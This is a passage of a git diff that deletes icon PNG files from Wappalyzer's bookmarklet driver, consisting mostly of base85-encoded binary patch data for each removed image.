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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Cloudera.png b/Wappalyzer/drivers/bookmarklet/images/icons/Cloudera.png deleted file mode 100755 index 2130f110239d90eb6d9f62606ab12d2e9097a271..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 500 zcmVMdqr)*r}TT(p*15~6u3TlS60>jZz%QXpu&MndJ(lp4qP^+XfmRJV__*pzSF5W%* zK}#Ep{h0$0O!(VJJ7tH+s^nZ%Hk}(8B6P>zVrWd#;-8=v)S; z#*^quE8yU8DWdW0?4DP=ulv;}@4hy(L0wwAF7b qO);f*gyJQQ;6j)CLquKr$NdJ+7h@Qam+=7r00006YTEo%A9n42;k&@Kgj5&6*gsh5|<-<;32Lc5F@ zFZKFD_@RA|AtS!#oXm}ir2kQoh#+VnUCO)on(rv;V`h~}q0n(I`%L`I>*c$!dBr#Z zVX0aUIEpLcW9}?9Gm|YVg>fk}zrMMxPyyZQF>GDsB|s3HqVj%o%S`Ctl!RrQ;<*3NdIL9k!mRPJSTmR(MR722iU!-33a5PP8; z$7GDQZuLM!oz6;iu+Bt3N&tuAZ#3p02|CEE9d@~wjoI?Xu}7s8exDRyN2BaB zEg9ANE6Pi#bGrNFF@AH7Ck@pi~5>;vekD2g9uzo>lW!cdPnhE9xje z3TGj(vyiU9?^8A(=@v5$s?}QZ1gE;@$6o9%y8)L1aF>0Ua)9oN^GsuR$zu$6te9N! zplvQXH5bsb0q|_@pS1b@>TyLlVtm%$I)xN9Jyr4HyHxTneX%+@z0Z_3Z5LW~7Lm>VI#Lt1a1&Aex(G0R}H4y*Dg7<>t2^mla z#Q&fg{sQrFApU}6$OL?vb%6LflHyb#W&+|QApQgudkw_qxB{&cN%Ltm`F%((TZ_#A zLm+;EWPl!;yb%z8h047L;vi&6kTd5aX`YC~i~UGyb^);vOu`aL;sFp#;V^&~8mKU} zaUjb<5(|+8(}9=~Pe6+Tu^JGo1FMGY|(r zohpMAbsvD(1c(LDFbm9p79=l#H0^;V-~UKa2a5lbXt)^cU8uiK;7GoNuocV|@<7}S x#Fv2hE)d@#0zU%cmB?Yi0>oU<3`H#F0syU2ao&7~jPw8i002ovPDHLkV1jdkhxz~j diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CompaqHTTPServer.png b/Wappalyzer/drivers/bookmarklet/images/icons/CompaqHTTPServer.png deleted file mode 100755 index 44629e6f92ce0c3493283e5ea2f564503883a0a5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 589 zcmV-T0GvGW=+oh(IEH38V0f#F5AbCXN;Z8r|GZYUbX{+>;PPGs#-7^k_Dar zTl5yJyLR*PzySL4jQ;H^zR2!(fd2kAAZ?FwY$H%5z3}gf!b@MOy5#-RR{f2=Lngl5iifNN1C4m6(Q+t~^x+ zwn*KFlMC?qWm?U6#C;uyi6M$+{Fhk9>~P+8q37+2X<`@CbH-B@QzlQ}l5RhIMY6Js z&(jU%y4ZzRy72DL6z5Et@Uu#M66u>J%7(Vj7wX~;fW7EAD$him&8_tH=TgDw!gOZR bZrA()S#={Vg}5I`00000NkvXXu0mjf*1aA_ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Concrete5.png b/Wappalyzer/drivers/bookmarklet/images/icons/Concrete5.png deleted file mode 100644 index 7dc61f31f7c7bc0134d3a209ccda7d3aaae4a8c8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1851 zcmV-B2gLY^P)9B&coGPp@m?btVqNk3^A@U{oZL-NYU`xRO62F|!e-wcS^sL` z0IHvcP%wl)um1^;$M{ZVjmW+~Zrr$%va(Vk-Y^U>lzKS}`uh5ylmV~T99lo^t)HX? z_wL=pUkwdyCMn9!$;lCi6)C4NOR7zh=1kMXh7B8V|NecPI&}(`Wg!(vk2XRa9X)z9 zOmAAYK@)7fUL*_{9uGVuhR5KiydOnImY0_^lRPJzO`SRw)22IKO12?&O3CW$@?cyUfu0Kue2kke;57yu3VE zj%zR@kx0N2kATuQO2K&e@SzSoUZ;h1@Ol;+TVjBUL?UEFoQ&W}OCognr^``YT}{f} zqR`aT1cuL-j@;2?K-}RJ)Tzi$&@+LGiV869+_^*Ef)tVgqSRt%WL><^H6Rv?!vGvn z?rzeDM4t@@e=$ZD6G& zarYUwNU_DbSY*926ih(LfLYLZ@bCcwfdC2$3NUHXMEr5}cig^RFKdPk8-}c`OrkuF zCr_V((b3UCang3X7BQlDOfeX@Zq>;+ZuJp+ zu5;bpU1U@kZNXNwJZUC<%~Ed+C@7}BtE-cghY=2k>30{7{csG8RN+RA8U?>UUoMh8 zd-j0wti2tPo?bN3{K101e%DTOK_tM33UFfd8QH#2| zI{fj~~a_;$q5uFBwvXS+m|p)q68h zHla*kT;kEqn{_yO@@K4Exe~Tx!!$hF85t)--wPasO57g=1xU{C-n|=>Cr`%44I8m& z(ITmS1Cf=Lg&8y6Wf6n7Zr#e?ir2yv93Wz(-~k3gm*P~nuXr$T-n>D|>+9>WZrwU8UAh#TH*dzFLx*tT!UgQx zw-38^?UGVmRaJ#cmo8!Z_U$-w=!gXKKt((BX1#<>gUIro$927N=C|3;_Z?@yYzP7&YM)}~XA>6Ud$xdmSiq5C8p3W=eE zp&ODEFp1Lh=g;E>NEb9`&K%u6u`soAR5dj<`kck%Wy_XvL6W0M1p`CCAZiaEJ}h~z z!PM{Au>(7I?!>B9tAy?Y2M%EE+O^Q&(!P52YJR3r{=7dlhhjiUoeywcvv*PzHKt6N zA~Fz<9zDXAEn7G^MY&YKAv$G4s#S_56xk93*REZ|iWMtx_Uu^* zy@-@!#~IXds~5At0g}2G9elPU)lAZF)22<>wrv}#W>ul0yn+Lg=fvA{=gy&}r9}sz z?kn9Ug!a2h>l4~pJMD2k)Uj`g=xwoX?rKC(6z zm+v)_9EvBT84-gr($l%QjnaQcBev0e4SVl3z3`^7nA~1V#{vic3G%sSf*p*--2M^F zfOXU)>%JwHKURh@2@38xIXvkAB(DsPzVemynM&D@(tX~~m84c?RuNhAjb%9>5sew# pA2|4bU|UwN;Zdg*)EAtwe*=U1DrCz2dNlw5002ovPDHLkV1lT~gns}4 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Connect.png b/Wappalyzer/drivers/bookmarklet/images/icons/Connect.png deleted file mode 100644 index 994d06c7b3f90e5c953c13b7b52e04a4b0afb1dc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 201 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`6FglULo7}wCrHdwsC@PB|C)uy z|C(={Ww-w${2@q_^Sr;u4HlF4jKa7+xDyK39JaCH;4{!|44$rjF6*2UngF3^ BS2_Ry diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Contao.png b/Wappalyzer/drivers/bookmarklet/images/icons/Contao.png deleted file mode 100644 index e0100322d5fde8c04e6329891aaca8ba2a6ad924..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 301 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbK}LV!<*E08|Z;c_O8;Y_*GnGWMK z<$`z9819xc+?^SEclXS@yI0*kv-?cB@m(NT)p2)b+TB&8ZtBV%*?cRckjLf;#FyeV!nTXb}*I%`2{mLJiCzw|9Z?_MjM~}X0~$pJ>h!1u|tad>;2q1H(eEb!&@C0cBL?U zE@}VL+9LOGYwN2QF)U&SZe__B3-dGizY{#JCV4HZhsiBb84RATelF{r5}E+K6@+a7 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Contenido.png b/Wappalyzer/drivers/bookmarklet/images/icons/Contenido.png deleted file mode 100644 index 598d97fbe1ea0bdd46c2f7bf0dda41ba9d305ac3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 205 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`Q#@T9Lo80eos`JipdjGZ>A<2S zaL^@f0jHqP0+S0IE(%O?zYO!MEdD;{zj;qW`o6VAz$^Ld7ya8lxTH46OdN-@DW&jV9{y0 zvyX)OUrTW4JZzjOm34oAlMbi4V}+iD%d8js{(lZX(YifkrS_wCp!*m+UHx3vIVCg! E01I|ZOaK4? diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Contens.png b/Wappalyzer/drivers/bookmarklet/images/icons/Contens.png deleted file mode 100644 index 8bb39880f2f8eab7526971ce52b525f2d3060bfa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 101 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61SBU+%rFB|I-V|$Ar-fhfA}jUFg#j%-Qt3P z3*YJ=9akNSHcVP`aMKL|UdJaJy80t{RTvpc^?n|(Xx85a)W_iI>gTe~DWM4fPVyhk diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ContentBox.png b/Wappalyzer/drivers/bookmarklet/images/icons/ContentBox.png deleted file mode 100644 index 2abfae432ae9b78c8140233c386239b4f920d61c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 624 zcmV-$0+0QPP){QECMKnQVKla zz-EHMKR(K|R$41;3eh-KrQ#G&9XD%hdcOrWOCe>&tAmuN9KApi;|yWdBrw%hT_(Dd2v!D#OJc!M6y zGqHJkuljd?Tp);capL~o5FzFscL5s10iZMvz#Pj(i{H`}mKTNKa^V5mQgxA3aQ$5; zHmBk*0l2sr+xmJro{eFv6l#F+)oxlS9F1ZVP-y%bnWp;&tLWdG$(ZZ%hWQ~L0}RN8-9C_FkmJWM1K z#bU9!xfvjz&nJ_~OeWJEkB?-s^UEu#;mQ8Q*rm~HOLx{DtgU6U*>pNRJ3AW)1UNoE zt}hFPLcw6LG1Ax&sF=%gcaq49N0000< KMNUMnLSTaXIUd&l diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ConversionLab.png b/Wappalyzer/drivers/bookmarklet/images/icons/ConversionLab.png deleted file mode 100644 index a8396bfb2f5fd8820c80ecf4c20eaf072804b44c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 557 zcmV+|0@D47P)Nkly)omg=ikl8E3 zR^v+n zuVttBiLymvH%sP=KFXUY{yC#m>tEGExo34-`S(vcqIalomvIcH&D|nQzA=K<=H~o6 z-2w#vCpQZJ&*~BRpV=+?KWCEA|Li{D|5dYe{-x!a+_Ev2)J4&(BF1B?D$cuFU6Svw zj=aEsZ5e_8h8lwZqYFj;=S>p*Uou_pe`&Yj{~&M8|6b;*|5Ji(|L4bfrZ8yA^NIp- zj<$q$D-hVG^wf`YbI{#BcZU0y2 zgx$%DbF%{(fD#=>YQoyqdXfuVOyz+ZRQ~(fssHz~RR16BsQW+8*W`a;qUZmb+_0rt zkq%sV(*ZErJcC_yK1O;N{Ezi9{+}LZ`@b?PYR{@f_PWH!I{|rc22Tzb9`vt00000NkvXXu0mjfG4>ub diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Coppermine.png b/Wappalyzer/drivers/bookmarklet/images/icons/Coppermine.png deleted file mode 100644 index bfbac43c5f23ad4b5529837cf0f5ac2e386a4ae4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 220 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!73?$#)eFPFv5AX?b1=7n-edxRLpJCD+)m8sJ zcKpvi_W#qTPgg$t2ZD`{{$F|gpP_2!A0@M=K&6Z&L4Lsu4$p3+0XfN@E{-7;amfdm zBv>06Jd7o0?`UgdGcqt>mQ2iC$is8!m||w8*GeXyQxB6w=gKZ}IHt6DUFYhMgFV|k zFL^r#$$G1nGe{mfwoq|hrXmxM&9P%@dU|>a%#H^HQd%b|UEtDTU@#XH{jRxnH^^=V MPgg&ebxsLQ0HBvrumAu6 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Cosmoshop.png b/Wappalyzer/drivers/bookmarklet/images/icons/Cosmoshop.png deleted file mode 100644 index 1bcbca716b0c2e1d034adff5ccee2cb2701743f6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 236 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Craft CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Craft CMS.png deleted file mode 100644 index bfbdb65b31eb6f8c9c9af608ae455b450ac2d4ed..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 681 zcmV;a0#^NrP)>DGXUt1 zfbFZG?y#lrv#Id5t?{|A@VT(@ytDDXwcT4o-C9E3T0`DjL)~3R-e5}JVN2zj`1nvUw4jp~<*>X(V?mWk??i1EI*>63-& zl7s1ygy@ih=#PQ(zqja&edmmQ@VBq$ihJgTcI%yw<$!SIfN$h{Yvg=t<9cZCw5sp1 zr{i{G;&x-=c4XpoV&ZdP;&Nc&abDnTSKnq(-(^nju%_;=r0uGo?5CXUq?z7gO5b8j z?WCC9T}JDpm)%=M<$`hDTtw@lmg}OG>!FnEo{+v&AIks$02_2tPE!CB7aSWO7!Cy& zB_}8;EH5wtc&oR>(A?bU^Iuh%IRF3w7fD1xRCr!}(8Y2CK@bGdF|*8=)w7bBnVFfH z;s1Za2Ol=1usW~xq7NMk>YUsk!IIO(x$sYQ3yFk4$daGR0#LFfAtHbP`quN0j|xM2 zIU9SwcteJ4BBZ?n#`SmRkGHJJ$hD=Q7eV$mq}87cm8JW$33kgvvAU788j4n$GuQ~l z>qneBdxIje-T})PQ^9EvROWylWZS`MTBbt}3<;V%Fe<3=Km-e3V5;`O6C&e*qX-8c zm=V$aLzjSBPxOJtJn#kL&J!bGx^X}UCedG&g7V(BJaLa9vg3d6Xl@-CjM~Z*57C5B za=f#5sTgIJwB(8QD*(d)kZH3b6!e*sP&C8%7-$Ut)HyqxMUTVtDao-t5od?ZW5r(Urk6^!e|Z!#StRfJF!! zQvd(}0d!JMQvg8b*k%9#0CY)2K~#8NRgOmj0x=8&EvIg$_x}G!Vh6K?xy@W8BDz!{-;0!b~#W@YD zlTQ&(fa^kG46T=_h{wQfU~T8X>(ILKka!B*HH%{tw0=6Y?k2>siCiX5fTtm04Amj{ zfN56}=d}L=iy7!F;E9Kg4Fe%JU~=OPZb;F96?Ox=f!)An47ipIxZC&{F%$mE27Foi ztyc;pwKOe5V*or1M>1MJ*k&k2vAong1Eo?dM>A1r60ej--V@Wag;%qzH-=BV70cGN p8)^4+-jE41l8lTxVf~0|?JpoclzBEEIm7?}002ovPDHLkV1m=vj`sin diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Cross Pixel.png b/Wappalyzer/drivers/bookmarklet/images/icons/Cross Pixel.png deleted file mode 100644 index 7984e3dc095035ea987e50c6283087be03f7a61a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 160 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`>7Fi*Ar_~T6B-&Xg#MT8V3o*n zWHRvSNfX(6f~ke);7YOB4Uc)2DJmH55mU@=OH4Uy&~tt239gTcdl)<)t}=dqU`EE- z|BVc396rWfiZ0AuJPVF+PhnMZz3AcQB(x+pNX^nXaK>Cl-Al5ntW}@p1FdB6boFyt I=akR{06h&gNdN!< diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CubeCart.png b/Wappalyzer/drivers/bookmarklet/images/icons/CubeCart.png deleted file mode 100644 index ac631e741acd264435e95d2e1813598c9b694cb0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 734 zcmV<40wMj0P)10L7y#h+eB3kl&P*ng)MR2zTAG+9m=G;R(4ruyP--c-buEhh7j9hp1H^qnTvtG( zP^?y@R$FMRrbFsXnwiYpd#-T>6T_B*do#sre06+pj zAS$fOj6bT)u+W1-PmIefmL9bap0R|pi@n*)YrSr)7!ln+Ouy@o29-Ur-XZ`4DL7+{ zfCT3eVbmYPpgKdUlhn}WZyI{)%qr*Q74!8A1}B`aJ=wUY+JxU4p2<7*ezmuH&43?^Uy zzISD9>GH-3JhyYI^VPj4DWXFxte2U#fZ^)qigtLbfB0fMzOc}F@9ff@!RXfhczdyX zX12vb2#C7Y+BunNv(!{ADZY8|@QK6lyE1PFh2%bp!&vD*V(Oah%-(Gp)+Ur}> zvg#y_^S$m-R_vT=fBf2d1E?-bUl)oq*^Sk+lj4Uz_dj`a_v-fAw5-4Q{^#?{3!lER z^Zv%_O1B+H;?d#cufr0Ii8#onlHDZw_P0k6!s+>$ANvQ7$H!mZ{PnYoyF1GZS#7W1 zef)HqMT7!SF(wlg&BqOo{>H;SBE}huIo}(npWnE>*iLHiN2Q)iV$LavWFn{RaRT4-5ja zT2rr~-rYXO02mR$a~`pOl>R-M9-QRkqRfr09U70;qmts%=9x>cZgDRD1p=Cmi)+Fx QwEzGB07*qoM6N<$g7pSw?*IS* diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Cufon.png b/Wappalyzer/drivers/bookmarklet/images/icons/Cufon.png deleted file mode 100644 index 07b81f4c7f2e7d3b605883a142de4c1aed13492f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2528 